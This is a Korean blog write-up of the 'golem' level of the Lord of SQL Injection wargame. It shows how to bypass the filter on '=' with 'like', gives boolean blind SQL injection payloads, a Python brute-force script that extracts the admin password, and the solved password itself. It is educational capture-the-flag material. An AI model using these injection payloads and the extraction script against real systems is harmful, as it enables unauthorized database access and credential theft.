-
<Lord of SQL Injection> golemWargame/Lord of SQL Injection 2021. 11. 13. 16:26
'prob', '_', '.', '()', 'or', 'and', 'substr(', '='을 필터링한다.
'pw'의 값을 알아내면 문제가 풀린다.
'='이 필터링되는 경우에는 'like'를 사용하여 우회할 수 있다.
참으로 ?pw=' || 1 like 1%23을 입력하면
"Hello {$result[id]}"를 출력한다.
거짓으로 ?pw=' || 1 like 2%23을 입력하면
아무것도 출력하지 않는다.
참과 거짓으로 구분할 수 있기 때문에 Blind SQL Injection 공격을 하면된다.
먼저 pw의 길이를 알아보면
?pw=' || length(pw) like 8%23을 입력하면
"Hello admin"을 출력하는걸로 봐서 pw의 길이는 8인 것 같다.
이제 한 글자씩 찾으면된다.
?pw=' || ascii(substring(pw,1,1)) like 55%23을 입력하면
"Hello admin"이 출력되는 걸로 봐서 pw의 첫 글자는 7이다.
이렇게 직접 구할 수도 있지만, 파이썬 코드를 통해 쉽게 찾을 수 있다.
import requests pw = '' baseurl = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php" want_str = "<h2>Hello admin</h2>" for i in range(1, 9): for j in range(33, 128): url = baseurl + "?pw=' || ascii(substring(pw,{},1)) like {}%23".format(i, j) cookies = {'PHPSESSID' : 'PHPSESSID의 값'} res = requests.get(url=url, cookies=cookies) if want_str in res.text: pw += chr(j) print("{} : {}".format(i, chr(j))) break print("pw : ", pw)
pw의 값으로 '77d6290b'를 입력하면
문제가 풀리게 된다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> skeleton (0) 2021.11.14 <Lord of SQL Injection> darkknight (0) 2021.11.13 <Lord of SQL Injection> vampire (0) 2021.11.13 <Lord of SQL Injection> troll (0) 2021.11.12 <Lord of SQL Injection> orge (0) 2021.11.12